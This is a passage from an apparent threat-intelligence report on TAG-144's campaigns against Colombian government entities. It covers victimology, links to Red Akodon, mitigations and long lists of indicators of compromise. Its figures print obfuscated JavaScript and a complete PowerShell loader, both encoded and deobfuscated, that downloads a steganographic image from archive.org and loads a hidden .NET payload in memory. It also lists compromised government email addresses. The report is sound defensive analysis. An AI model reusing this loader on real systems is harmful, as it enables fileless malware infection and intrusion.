44      parabematic += " 3.ϕ 저ᄋ주ᄆᄒᆞᆫ h3.ϕ 저ᄋ주ᄆᄒᆞᆫ i3.ϕ 저ᄋ주ᄆᄒᆞᆫ d3.ϕ 저ᄋ주ᄆᄒᆞᆫ d3.ϕ
45      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ n 3.ϕ 저ᄋ주ᄆᄒᆞᆫ -3.ϕ 저ᄋ주ᄆᄒᆞᆫ n3.ϕ 저ᄋ주ᄆᄒᆞᆫ o3.ϕ
46      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ r3.ϕ 저ᄋ주ᄆᄒᆞᆫ o3.ϕ 저ᄋ주ᄆᄒᆞᆫ f3.ϕ 저ᄋ주ᄆᄒᆞᆫ i3.ϕ
47      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ l3.ϕ 저ᄋ주ᄆᄒᆞᆫ e 3.ϕ 저ᄋ주ᄆᄒᆞᆫ -3.ϕ 저ᄋ주ᄆᄒᆞᆫ e3.ϕ
48      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ p3.ϕ 저ᄋ주ᄆᄒᆞᆫ b3.ϕ 저ᄋ주ᄆᄒᆞᆫ y3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
49      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ p3.ϕ 저ᄋ주ᄆᄒᆞᆫ a3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
50      parabematic += "3.ϕ 저ᄋ주ᄆᄒᆞᆫ s3.ϕ 저ᄋ주ᄆᄒᆞᆫ -3.ϕ 저ᄋ주ᄆᄒᆞᆫ c3.ϕ 저ᄋ주ᄆᄒᆞᆫ ";
51
52
53      parabematic = parabematic.replace(/3.ϕ 저ᄋ주ᄆᄒᆞᆫ /g, "");
54
55      var anathem = WScript.CreateObject("WScript.Shell");
56
57
58      anathem.Run(parabematic + "\"" + miladi + "\"", 0, false);
59  }
60  catch (e) {
61
62  }
```

Figure 12: Obfuscated payload with Portuguese comments (Source: Recorded Future)

PowerShell Script

The deobfuscated command line is shown in **Figure 13**.

- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c
"$talesmen='JGF0cm9waXNvbWVyID0gJ1ZrRkonOyRweXJvZ3JhcGh5ID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2
U2NFN0cmluZygkYXRyb3Bpc29tZXIpOyRhdXRvbWF0aWNpdGllcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgu
R2V0U3RyaW5nKCRweXJvZ3JhcGh5KTskc3ljb21hID0gJ1EyeGhjM05NYVdKeVlYSjVNUzVJYjIxbCc7JHJlcGVkYXRpb2
4gPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRzeWNvbWEpOyRhcmJvcmljdWx0dXJhbCA9IFtTeXN0
ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRyZXBlZGF0aW9uKTtBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIF
N5c3RlbS5EcmF3aW5nOyR0b3Jtb2RvbnQ9J2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvdW5pdmVyc2UtMTczMzM1
OTMxNTIwMi04NzUwL3VuaXZlcnNlLTE3MzMzNTkzMTUyMDItODc1MC5qcGcnOyRzY2xlcmU9TmV3LU9iamVjdCBTeXN0ZW
0uTmV0LldlYkNsaWVudDskc2NsZXJlLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAnKTskc29yb3Jp
dHk9JHNjbGVyZS5Eb3dubG9hZERhdGEoJHRvcm1vZG9udCk7JGJhY2twYWNrPVtieXRlW11dKDB4NDIsIDB4NEQsIDB4Nz
IsIDB4NkUsIDB4MzcsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MzYsIDB4MDAsIDB4MDAsIDB4
MjgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4NjQsIDB4MDAsIDB4MDAsIDB4MDAsIDB4NEQsIDB4MkYsIDB4MDAsIDB4MDAsID
B4MDEsIDB4MDAsIDB4MTgsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4M0MsIDB4NkUsIDB4MzcsIDB4MDAs
IDB4QzQsIDB4MEUsIDB4MDAsIDB4MDAsIDB4QzQsIDB4MEUsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MD
AsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDApOyRlbmVyZ2lzZXM9LTE7Zm9yKCRzY2F0dGVyZWQ9MDskc2NhdHRlcmVkIC1s
ZSAkc29yb3JpdHkuTGVuZ3RoLSRiYWNrcGFjay5MZW5ndGg7JHNjYXR0ZXJlZCsrKXsgJGxpcG9nZW55cz0kdHJ1ZTttb3
IoJFBoYWxhbng9MDskUGhhbGFueCAtbHQgJGJhY2twYWNrLkxlbmd0aDskUGhhbGFueCsrKXtpZigkc29yb3JpdHlbJHNj
YXR0ZXJlZCskUGhhbGFueF0gLW5lICRiYWNrcGFja1skUGhhbGFueF0peyRsaXBvZ2VueXM9JEJydW5oaWxkO2JyZWFrfX
1pZigkbGlwb2dlbnlzKXskZW5lcmdpc2VzPSRzY2F0dGVyZWQ7YnJlYWt9fWlmKCRlbmVyZ2lzZXMgLWVxIC0xKXtyZXR1
cm59OyRzcGxlbm9uY3VzPSRzb3Jvcml0eVskZW5lcmdpc2VzLi4oJHNvcm9yaXR5Lkxlbmd0aC0xKV07JHZhcmljZWxsaW
Zvcm09TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW07JHZhcmljZWxsaWZvcm0uV3JpdGUoJHNwbGVub25jdXMsMCwkc3Bs
ZW5vbmN1cy5MZW5ndGgpOyR2YXJpY2VsbGlmb3JtLlNlZWsoMCwnQmVnaW4nKXxPdXQtTnVsbDskSGlwcG9jcmVuZT1bRH
Jhd2luZy5CaXRtYXBdOjpGcm9tU3RyZWFtKCR2YXJpY2VsbGlmb3JtKTskQ29yZW9wc2lzPU5ldy1PYmplY3QgQ29sbGVj
dGlvbnMuR2VuZXJpYy5MaXN0W0J5dGVdO2ZvcigkcmV1c2FibHk9MDskcmV1c2FibHkgLWx0ICRIaXBwb2NyZW5lLkhlaW
dodDskcmV1c2FibHkrKyl7Zm9yKCRkaWdveGluPTA7JGRpZ294aW4gLWx0ICRIaXBwb2NyZW5lLldpZHRoOyRkaWdveGlu
KyspeyRjcmFkbGVsaWtlPSRIaXBwb2NyZW5lLkdldFBpeGVsKCRkaWdveGluLCRyZXVzYWJseSk7JENvcmVvcHNpcy5BZG
QoJGNyYWRsZWxpa2Uuik7JENvcmVvcHNpcy5BZGQoJGNyYWRsZWxpa2UuRyk7JENvcmVvcHNpcy5BZGQoJGNyYWRsZWxp
a2UuQil9fTskYm9sc3RlcmVycz1bQml0Q29udmVydGVyXTo6VG9JbnQzMigkQ29yZW9wc2lzLkdldFJhbmdlKDAsNCkuVG
9BcnJheSgpLDApOyRzY291bmRyZWxkb209JENvcmVvcHNpcy5HZXRSYW5nZSg0LCRib2xzdGVyZXJzKS5Ub0FycmF5KCk7
JGZsYW1lcnM9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZygkc2NvdW5kcmVsZG9tKS5SZXBsYWNlKCdBJywnQCcpLlJlcG
xhY2UoJ0AnLCdBJyk7JHN1cGluZWx5PSc9PUFNdjRFVDVsMWFDMUVWdlEyTGxWbUxxUjNjaEIzTHZRGMwUkhhJy5SZXBs
YWNlKCd9fCcsJ3QnKTskYW1hdXJvdGljPVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZmxhbWVycyk7JHN5Y2VlPV
tSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYW1hdXJvdGljKTskYXN0YXRpemVyPUAoJHN1cGluZWx5LCcnLCcnLCcn
LCdNU0J1aWxkJywnJywnJywnJywnJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkcycsc2J2ZWVscycsJ2pzJywnJywnJy
wnYmFja3RpY2tzJywnMicsJycpOyRzeWNlZS5HZXRUeXBlKCRhcmJvcmljdWx0dXJhbCkuR2V0TWV0aG9kKCRhdXRvbWF0
aWNpdGllcykuSW52b2tlKCRzbmFybCwkYXN0YXRpemVyKTskSGlwcG9jcmVuZS5EaXNwb3NlKCk7JHZhcmljZWxsaWZvcm
0uRGlzcG9zZSgp';$cornhusker=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase6
4String($talesmen));Invoke-Expression $cornhusker"
```

Figure 13: Deobfuscated PowerShell command (Source: Recorded Future)

The executed command initiates PowerShell, decodes a Base64-encoded payload, and then runs the decoded content via the Invoke-Expression cmdlet. **Figure 14** shows the deobfuscated string with line breaks added.

```
 $atropisomer = 'VkFJ';
$pyrography = [System.Convert]::FromBase64String($atropisomer);
$automaticities = [System.Text.Encoding]::UTF8.GetString($pyrography);
$sycoma = 'Q2xhc3NMaWJyYXJ5MS5Ib21l';
$repedation = [System.Convert]::Frombase64String($sycoma);
$arboricultural = [System.Text.Encoding]::UTF8.GetString($repedation);

Add-Type -AssemblyName System.Drawing;
$tormodont = 'https://archive[.]org/download/universe-1733359315202-8750/universe-1733359315202-8750.jpg';
$sclere = New-Object System.Net.WebClient;
$sclere.Headers.Add('User-Agent','Mozilla/5.0');
$sorority = $sclere.DownloadData($tormodont);

$backpack = [byte[]](0x42, 0x4D, 0x72, 0x6E, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0
$energises = -1;

for ($scattered = 0; $scattered -le $sorority.Length - $backpack.Length; $scattered++) {
    $lipogenys = $true;

    for ($Phalanx = 0; $Phalanx -lt $backpack.Length; $Phalanx++) {
        if ($sorority[$scattered + $Phalanx] -ne $backpack[$Phalanx]) {
            $lipogenys = $Brunhild;
            break;
        }
    }

    if ($lipogenys) {
        $energises = $scattered;
        break;
    }
}

if ($energises -eq -1) { return }

$splenoncus = $sorority[$energises..($sorority.Length - 1)];
$varicelliform = New-Object IO.MemoryStream;
$varicelliform.Write($splenoncus, 0, $splenoncus.Length);
$varicelliform.Seek(0, 'Begin') | Out-Null;

$Hippocrene = [Drawing.Bitmap]::FromStream($varicelliform);
$Coreopsis = New-Object Collections.Generic.List[Byte];

for ($reusably = 0; $reusably -lt $Hippocrene.Height; $reusably++) {
    for ($digoxin = 0; $digoxin -lt $Hippocrene.Width; $digoxin++) {
        $cradlelike = $Hippocrene.GetPixel($digoxin, $reusably);
        $Coreopsis.Add($cradlelike.R);
        $Coreopsis.Add($cradlelike.G);
        $Coreopsis.Add($cradlelike.B);
    }
}

$bolsterers = [BitConverter]::ToInt32($Coreopsis.GetRange(0, 4).ToArray(), 0);
$scoundreldom = $Coreopsis.GetRange(4, $bolsterers).ToArray();
$flamers = [Convert]::ToBase64String($scoundreldom).Replace('A','@').Replace('@','A');
$supinely = '==AMv4ET5l1aC1EVvQ2LlVmLlR3chB3LvoDc0RHa'.Replace('}|','t');
$amaurotic = [Convert]::FromBase64String($flamers);
$sycee = [Reflection.Assembly]::Load($amaurotic);

$astatizer = @($supinely,'','','','MSBuild','','','','','C:\Users\Public\Downloads','creels','js','','','backticks','2','');
$sycee.GetType($arboricultural).GetMethod($automaticities).Invoke($snarl,$astatizer);

$Hippocrene.Dispose();
$varicelliform.Dispose();
```

Figure 14: Deobfuscated string (Source: Recorded Future)

The PowerShell script retrieves a JPG image from *hxxps://archive[.]org/download/universe-1733359315202-8750/universe-1733359315202-8750.jpg*. It then employs steganographic techniques to scan the image's pixel data for a specific byte

marker, which it uses to locate and extract an embedded payload. The extracted content is a .NET assembly that the script loads directly into memory. Execution is carried out by invoking the VAI method within the ClassLibrary1.Home class, allowing the payload to run without ever being written to disk.

Notably, the same *archive[.]org* URL was observed in connection with XWorm samples associated with the domain *deadpoolstart[.]lovestoblog[.]com* and

deadpoolstart2064[.]duckdns[.]org, which also featured similarly named files, including (1, 2):

- `NUEVO_REPORTE_ANEXO_POR_SANCIONES_EFECTUADAS_HALLAZGOS_IRREGULARIDADES_AUDITORIA_SISTEMAS_DE_SALUD_E.js` (SHA256: aee42a6d8d22a421fd445695d8b8c8b3311fa0dc0476461ea649a08236587edd)
- `NUEVO_REPORTE_ANEXO_POR_SANCIONES_EFECTUADAS_HALLAZGOS_IRREGULARIDADES_AUDITORIA_SISTEMAS_DE_SALUD_E.rar` (SHA256: 0fd706ebd884e6678f5d0c73c42d7ee05dcddd53963cf53542d5a8084ea82ad1)

Victimology

Overall, Insikt Group identified a significant number of TAG-144 victims, all of which, where attribution was possible, were Colombian entities. Notably, as evidenced by victims associated with Clusters 1 and 2, the majority were directly tied to Colombian government institutions (see **Figure 15**). Beyond these, additional victims were identified across the healthcare, retail, transportation, defense, and oil sectors. Importantly, several of these non-governmental entities maintain some degree of affiliation with the state.



Figure 15: Breakdown of TAG-144 victims observed between May 2024 and July 2025 (Source: Recorded Future)

Although TAG-144 has targeted other sectors and has occasionally been linked to intrusions in additional South American countries such as Ecuador, as well as Spanish-speaking victims in the US, its primary focus has consistently remained on Colombia, particularly on government entities. This persistent targeting raises questions about the threat group's true motivations, such as whether it operates solely as a financially driven threat actor leveraging established tools, techniques, and monetization strategies, or whether elements of state-sponsored espionage are also at play.

Overlap with Red Akodon

In May 2024, SCILabs reported on a threat actor it named Red Akodon, which closely resembled Blind Eagle in terms of TTPs. The threat actor primarily targeted Colombian government entities using RATs such as REMCOS RAT, QuasarRAT, AsyncRAT, and XWorm. The attacks were delivered via phishing emails posing as legal notices or judicial summonses, allegedly sent by Colombian institutions like the Fiscalía General de la Nación and the Juzgado 06 Civil del Circuito de Bogotá. Despite the similarities, SCILabs chose to track Red Akodon as a distinct threat actor at the time of writing.

Among others, the report identified four GitHub repository usernames: "jairpicc", "santiagonasar", "colombo08125", and "mastermr02456". Of note, jairpicc also appeared in association with a Pastebin account observed on August 23, 2024 (see **Figure 16**).



Figure 16: Pastebin account linked to jairpicc (Source: Recorded Future)

The Pastebin account was associated with multiple Pastebin links, at least two of which returned Bitbucket URLs hosting AsyncRAT payloads. These AsyncRAT payloads communicated with domains such as *enviasept[.]duckdns[.]org*, *enviosep04[.]duckdns[.]org*, *sost2024ene[.]duckdns[.]org*, and *trabajo25[.]duckdns[.]org*, all linked to TAG-144. Additionally, Insikt Group noted that the payloads hosted on these Bitbucket URLs followed file naming conventions consistent with those observed in TAG-144 infrastructure. For instance, one Pastebin link returned the URL *hxxps://bitbucket[.]org/descargggt/servdifr/downloads/remcoss[.]txt*, with the filename `remcoss.txt` matching file names found in open directories previously reported in association with TAG-144. Additional Bitbucket URLs hosting files with matching filenames that lead to AsyncRAT infections are provided in **Appendix A**.

Additionally, Red Akodon appears to have used at least two likely compromised email addresses associated with Colombian government entities: *nomina[@]magdalena[.]gov[.]co* and *npereza[@]cendoj[.]ramajudicial[.]gov[.]co*. Notably, on October 31, 2024, the Colombian cybersecurity blog *¡Mucho Hacker!* reported on related activity involving similar abuse. This report highlighted the use of legitimate government-linked email addresses, including *abogados[@]hujmb[.]gov[.]co* and *j03mpmixartado[@]cendoj[.]ramajudicial[.]gov[.]co*. The blog speculated that the threat actor either had access to internal systems, allowing them to create legitimate-looking email accounts, or possessed an undisclosed capability to spoof official addresses.

Insikt Group confirmed that the email address *j03mpmixartado[@]cendoj[.]ramajudicial[.]gov[.]co* is legitimate and seems to belong to the Juzgado 003 Penal Municipal con Funciones Mixtas de Chiquinquirá. Furthermore, the address was found in malware logs associated with the Stealc infostealer, suggesting compromise. The email appears to be linked to a Colombian public official serving as Secretary of the Second Civil Circuit Court in Chiquinquirá.

The malware logs also contain email addresses believed to be leveraged for phishing purposes, including:

- *ftorreshe[@]cendoj[.]ramajudicial[.]gov[.]co*
- *j01pmpalchiquinquira[@]cendoj[.]ramajudicial[.]gov[.]co*
- *j02cctochiquinquira[@]cendoj[.]ramajudicial[.]gov[.]co*
- *jcmpalchoconta[@]cendoj[.]ramajudicial[.]gov[.]co*
- *raccionestutj02cctochiquinquira[@]cendoj[.]ramajudicial[.]gov[.]co*
- *repchiquinquiraboy[@]cendoj[.]ramajudicial[.]gov[.]co*
- *silay.salamanca699[@]educacionbogota[.]edu[.]co*

Insikt Group assesses that TAG-144 considers the use of compromised government email accounts to deliver spearphishing emails a standard part of its toolkit and is likely to continue employing this tactic.

Mitigations

- **Recorded Future Threat Intelligence:** Recorded Future customers can proactively mitigate threats by operationalizing data from the Intelligence Cloud. Leverage continuously updated Risk Lists to blocklist IP addresses associated with TAG-144, thereby preventing internal communication with known malicious infrastructure.
- **Recorded Future Detections:** Recorded Future provides Sigma, YARA, and Snort rules that can be integrated into your SIEM or endpoint detection and response (EDR) tools. These rules detect the presence or execution of malware families linked to TAG-144 and similar threats.
- **Recorded Future Network Intelligence:** Recorded Future's Malicious Traffic Analysis (MTA) events help identify servers engaged in exfiltration activity with known malicious infrastructure. These insights are powered by proprietary methodologies. Use general MTA event queries for broad monitoring, or targeted queries to focus specifically on malware families associated with TAG-144.
- **Recorded Future Monitoring:** Use Recorded Future to detect, flag, and block inbound and outbound traffic involving email addresses or domains that show signs of compromise, such as those appearing in data leaks, malware logs, or underground forums.
- **Monitoring for Potential Network Device-Based Threat Activity:** Monitor traffic from the IP addresses listed in **Appendix A**, which are associated with potentially compromised devices, including Mikrotik routers, and which have been observed communicating with known TAG-144 C2 infrastructure.

- **LIS Flagging and Blocking:** Consider blocking the use of specific LIS on your corporate network if not required for legitimate purposes. Network defenders must strike a balance between mitigating malicious communication via LIS and excessively restricting access to services that are allowed or necessary on their network. Previous Insikt Group reports, such as "Threat Actors Leverage Internet Services to Enhance Data Theft and Weaken Security Defenses," as well as this report on TAG-144, can help inform those decisions.
- **Email Traffic Filtering:** Implement a robust email filtering system to detect and flag messages containing malicious attachments or links. Ensure that suspicious emails are quarantined for detailed inspection, reducing the risk of phishing attacks and credential compromise.

Outlook

Insikt Group has identified five distinct activity clusters linked to TAG-144, active at various points throughout 2024 and 2025. These clusters have primarily targeted Colombian government entities at the local, municipal, and federal levels, while also affecting private sector and non-governmental organizations. Although they share common TTPs such as the use of open-source or cracked RATs, dynamic domain providers, and LIS for staging, each cluster demonstrates distinct infrastructure, malware deployment methods, and operational approaches. TAG-144 has also been linked to Red Akodon and has been observed using compromised Colombian government email accounts in spearphishing campaigns.

TAG-144 is part of a growing cybercriminal ecosystem in South America, where rapid digitalization and limited cyber defenses have contributed to more cybercrime. Looking ahead, Insikt Group assesses that TAG-144 will likely continue to focus on Colombian government targets, while maintaining its current operational patterns. This includes continued use of compromised email addresses, dynamic DNS services, abuse of LIS, and deployment of customized tools such as the previously observed BlotchyQuasar variant of QuasarRAT. TAG-144 is also expected to adapt by integrating new cracked or open-source tools and identifying additional LIS platforms to exploit. Furthermore, the threat group is likely to deepen its involvement in the broader cybercriminal ecosystem through collaboration with tool developers and affiliated threat actors. Given its persistent targeting, technical adaptability, and operational success, Insikt Group assesses that TAG-144 will remain a significant threat to its typical victim profile for the foreseeable future.

Appendix A: Cluster 1 IP Addresses

IP Address	ASN	Type	Malware Families
45[.]133[.]180[.]26	AS9009	TorGuard VPN server	AsyncRAT
45[.]133[.]180[.]154	AS9009	TorGuard VPN server	AsyncRAT
146[.]70[.]137[.]18	AS9009	TorGuard VPN server	AsyncRAT
146[.]70[.]137[.]90	AS9009	TorGuard VPN server	DcRAT, AsyncRAT, REMCOS RAT
146[.]70[.]50[.]42	AS9009	TorGuard VPN server	AsyncRAT
146[.]70[.]51[.]42	AS9009	TorGuard VPN server	DcRAT
146[.]70[.]57[.]58	AS9009	TorGuard VPN server	AsyncRAT
146[.]70[.]83[.]218	AS9009	TorGuard VPN server	AsyncRAT
181[.]235[.]4[.]255	AS3816	Colombian ISP	REMCOS
193[.]56[.]253[.]66	AS9009	TorGuard VPN server	REMCOS
93[.]115[.]35[.]146	AS9009	TorGuard VPN server	DcRAT

Appendix B: Indicators of Compromise (IoCs)

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 Cluster 1 IP Addresses:
45[.]133[.]180[.]26
45[.]133[.]180[.]154
93[.]115[.]35[.]146
146[.]70[.]50[.]42
146[.]70[.]51[.]42
146[.]70[.]57[.]58
146[.]70[.]83[.]218
146[.]70[.]137[.]18
146[.]70[.]137[.]90
181[.]235[.]4[.]255
181[.]235[.]10[.]163
181[.]235[.]15[.]197
186[.]169[.]48[.]180
186[.]169[.]50[.]123
186[.]169[.]80[.]199
186[.]169[.]80[.]207
186[.]169[.]82[.]147
186[.]169[.]90[.]53
193[.]56[.]253[.]66

Cluster 1 Domains:
alma27[.]duckdns[.]org
aseguradotelle[.]duckdns[.]org
diazpool14[.]duckdns[.]org
dnse2542[.]duckdns[.]org
envio-18-2[.]duckdns[.]org
envio01[.]ddns[.]net
envio02-04[.]duckdns[.]org
envio05-06[.]duckdns[.]org
envio07[.]duckdns[.]org
envio10-04-25[.]duckdns[.]org
envio1010[.]duckdns[.]org
envio104[.]duckdns[.]org
envio11-04[.]duckdns[.]org
envio14-03[.]duckdns[.]org
envio14-05[.]duckdns[.]org
envio1414[.]duckdns[.]org
envio15-005[.]duckdns[.]org
envio1515[.]duckdns[.]org
envio16-05[.]duckdns[.]org
envio1616[.]duckdns[.]org
envio19-05[.]duckdns[.]org
envio19-055[.]duckdns[.]org
envio1919[.]duckdns[.]org
envio20-03[.]duckdns[.]org
envio2020[.]duckdns[.]org
envio21-005[.]duckdns[.]org
envio21-05[.]duckdns[.]org
envio2121[.]duckdns[.]org
envio2222[.]duckdns[.]org
envio2333[.]duckdns[.]org
envio25-03[.]duckdns[.]org
envio25-04[.]duckdns[.]org
envio25-3[.]duckdns[.]org
envio25100255[.]duckdns[.]org
envio26-005[.]duckdns[.]org
envio26-03[.]duckdns[.]org
envio26-05[.]duckdns[.]org
envio266[.]duckdns[.]org
envio28-003[.]duckdns[.]org
envio28[.]duckdns[.]org
envio29[.]duckdns[.]org
envio3-04[.]duckdns[.]org
envio31-03[.]duckdns[.]org
envio31[.]duckdns[.]org
envio55[.]duckdns[.]org
envio6-06[.]duckdns[.]org
envio666[.]duckdns[.]org
```

envioo20020[.]duckdns[.]org
hold-asy[.]duckdns[.]org
newremco[.]duckdns[.]org
ojosostenerfebrero[.]duckdns[.]org
pooldiaz14[.]duckdns[.]org
qua25q[.]duckdns[.]org
qua25qua[.]duckdns[.]org
rem25rem[.]duckdns[.]org
remc21[.]duckdns[.]org
respaldito01[.]duckdns[.]org
respaldito03[.]duckdns[.]org
respaldomax3[.]duckdns[.]org
respaldomax4[.]duckdns[.]org
respaldomx1[.]duckdns[.]org
respaldomx2[.]duckdns[.]org
respaldomx5[.]duckdns[.]org
send9214[.]duckdns[.]org
sendiadad[.]duckdns[.]org
trabajonuevos[.]duckdns[.]org
usooo205[.]duckdns[.]org

Cluster 2 IP Addresses:
45[.]77[.]72[.]102
64[.]188[.]9[.]172
64[.]188[.]9[.]173
64[.]188[.]9[.]175
64[.]188[.]9[.]177
172[.]93[.]160[.]188
177[.]255[.]84[.]173
179[.]14[.]8[.]131
179[.]14[.]11[.]213
181[.]131[.]217[.]63
191[.]88[.]249[.]175
192[.]169[.]69[.]26

Cluster 2 Domains:
agilizavacunate202120212021[.]duckdns[.]org
agosagosagostooo20242024[.]duckdns[.]org
andresbermudez3080[.]duckdns[.]org
andresbermudezrespaldok30[.]duckdns[.]org
arannsasaaransasaturituri2024[.]duckdns[.]org
armadnocaballerodominio[.]con-ip[.]com
armandocaceres4050[.]con-ip[.]com
armandoferreiro701020dominio[.]con-ip[.]com
armandovillareal5020[.]con-ip[.]com
armandovillareal502011[.]con-ip[.]com
briana2024[.]kozow[.]com
briana4000[.]duckdns[.]org
brianaf511[.]duckdns[.]org
camanopetro[.]con-ip[.]com
camarasdeseguridad202420242024[.]duckdns[.]org
camiloferreiro907010[.]con-ip[.]com
camiloguerrero5040[.]con-ip[.]com
canastapatrones[.]con-ip[.]com
carlosrenteria9050[.]con-ip[.]com
carmengutierrez9030[.]con-ip[.]com
ccerrado10[.]con-ip[.]com
cococovid202420242024[.]duckdns[.]org
comidafood[.]con-ip[.]com
copaamerica2022024transmision[.]con-ip[.]com
cristiansantodomingo203010[.]con-ip[.]com
danielfernandez502010[.]con-ip[.]com
davidcristiano8070[.]con-ip[.]com
davidcristiano80702[.]con-ip[.]com
davidcristiano80703[.]con-ip[.]com
desdeseptiempresesiente[.]con-ip[.]com
diciembrearbolitodebelen20222022[.]duckdns[.]org
dmforjadores[.]con-ip[.]com
dominiharrypotter202420242024[.]duckdns[.]org
dominiogeneral20240202402024[.]duckdns[.]org
dominioseternosgraciasadios20230230230[.]duckdns[.]org

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eneroeneroenero2023202311[.]duckdns[.]org
envioasy24[.]kozow[.]com
febreroynoesvisiesto20222022[.]duckdns[.]org
fernandocuellar909080[.]con-ip[.]com
fernandoesquivel707020[.]con-ip[.]com
fernandoizquierdo9080[.]con-ip[.]com
franciscogonzalezdomini[.]con-ip[.]com
gonorreaomegonorrea2021[.]duckdns[.]org
idiotobocaefabmantenio2021[.]duckdns[.]org
jaimegonzalez201020[.]con-ip[.]com
juancaf4000[.]duckdns[.]org
laazcarate202120212021[.]duckdns[.]org
lllllllllllllllllabril26de2021vacunate[.]duckdns[.]org
marli27[.]duckdns[.]org
marli27[.]kozow[.]com
mayoelmesdelamosca202422024[.]duckdns[.]org
mayomayomayo202202222022[.]duckdns[.]org
medicosdelacostasas[.]con-ip[.]com
metropolispedro16[.]con-ip[.]com
neivanuevasde[.]con-ip[.]com
ninosey02[.]con-ip[.]com
nopedro[.]con-ip[.]com
nuevoremremrem20232023[.]duckdns[.]org
pasarasaberquecuenta[.]con-ip[.]com
paseoencarro2024[.]con-ip[.]com
pasoscon[.]con-ip[.]com
pasosconlz[.]con-ip[.]com
pasticosmemos[.]con-ip[.]com
penoncaminosdel[.]con-ip[.]com
pesosdepesoslibras[.]duckdns[.]org
pr1275995[.]con-ip[.]com
mono2024[.]kozow[.]com
programahumanitaria202220222022[.]duckdns[.]org
pruebadenuevonuevo202024202024[.]duckdns[.]org
qjunioo2024020242024infinito[.]duckdns[.]org
ramiromartinelli909070[.]con-ip[.]com
remixripiolo[.]con-ip[.]com
remremrem2021marzo2021[.]duckdns[.]org
rodrigobermudez9080[.]con-ip[.]com
sebastianguerrero5040[.]con-ip[.]com
sebastiansagbini907060[.]con-ip[.]com
semetiooctubre2022202220222022[.]duckdns[.]org
superabrilabrilabril20242024[.]con-ip[.]com
syscsycsyc20212021[.]duckdns[.]org
tercepico202120212021[.]duckdns[.]org
mayomayomayo202202222022[.]duckdns[.]org
programahumanitaria202220222022[.]duckdns[.]org

Cluster 2 “deadpoolstart”-Themed Domains:
deadpoolstart2024[.]con-ip[.]com
deadpoolstart2025[.]con-ip[.]com
deadpoolstart2025[.]duckdns[.]org
deadpoolstart2026[.]con-ip[.]com
deadpoolstart2026[.]duckdns[.]org
deadpoolstart2027[.]con-ip[.]com
deadpoolstart2027[.]duckdns[.]org
deadpoolstart2028[.]con-ip[.]com
deadpoolstart2028[.]duckdns[.]org
deadpoolstart2029[.]con-ip[.]com
deadpoolstart2029[.]duckdns[.]org
deadpoolstart2030[.]con-ip[.]com
deadpoolstart2030[.]duckdns[.]org
deadpoolstart2033[.]duckdns[.]org
deadpoolstart2034[.]duckdns[.]org
deadpoolstart2035[.]duckdns[.]org
deadpoolstart2036[.]duckdns[.]org
deadpoolstart2037[.]duckdns[.]org
deadpoolstart2038[.]duckdns[.]org
deadpoolstart2041[.]duckdns[.]org
deadpoolstart2044[.]duckdns[.]org
deadpoolstart2049[.]duckdns[.]org
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deadpoolstart2051[.]duckdns[.]org
deadpoolstart2052[.]duckdns[.]org
deadpoolstart2053[.]duckdns[.]org
deadpoolstart2054[.]duckdns[.]org
deadpoolstart2059[.]duckdns[.]org
deadpoolstart2060[.]duckdns[.]org
deadpoolstart2061[.]duckdns[.]org
deadpoolstart2063[.]duckdns[.]org
deadpoolstart2064[.]duckdns[.]org
deadpoolstart2065[.]duckdns[.]org

Cluster 3 IP Addresses:
181[.]131[.]216[.]206
181[.]131[.]218[.]182
181[.]131[.]219[.]42

Cluster 3 Domains:
andersondavid4070[.]duckdns[.]org
andersondesousa9030[.]con-ip[.]com
andresguerrero90808[.]con-ip[.]com
andresrestrepo901020[.]duckdns[.]org
andressinisterra508070[.]duckdns[.]org
andresvalderrama4070[.]duckdns[.]org
antonioguerrero4050[.]duckdns[.]org
armandocaceres4050[.]con-ip[.]com
armandoquiroz7020[.]duckdns[.]org
armandosandoval70501023[.]duckdns[.]org
armandovillareal504010[.]duckdns[.]org
camiloferreiro907010[.]con-ip[.]com
camiloguerrero5040[.]con-ip[.]com
carloscaicedo4050202[.]duckdns[.]org
carlosfernandez401020[.]duckdns[.]org
carlosmendoza504070[.]duckdns[.]org
carlosrenteria9050[.]con-ip[.]com
carlossantrich9080[.]duckdns[.]org
carlosurrutia805020[.]duckdns[.]org
carlosurrutia8050202[.]duckdns[.]org
carlosvillalba9040[.]duckdns[.]org
carmengutierrez9030[.]con-ip[.]com
carmenzavillareal4080[.]duckdns[.]org
davidcristiano8070[.]con-ip[.]com
davidcristiano80702[.]con-ip[.]com
davidcristiano80703[.]con-ip[.]com
edgardocarrascal904050[.]duckdns[.]org
fernandocaballero50702[.]duckdns[.]org
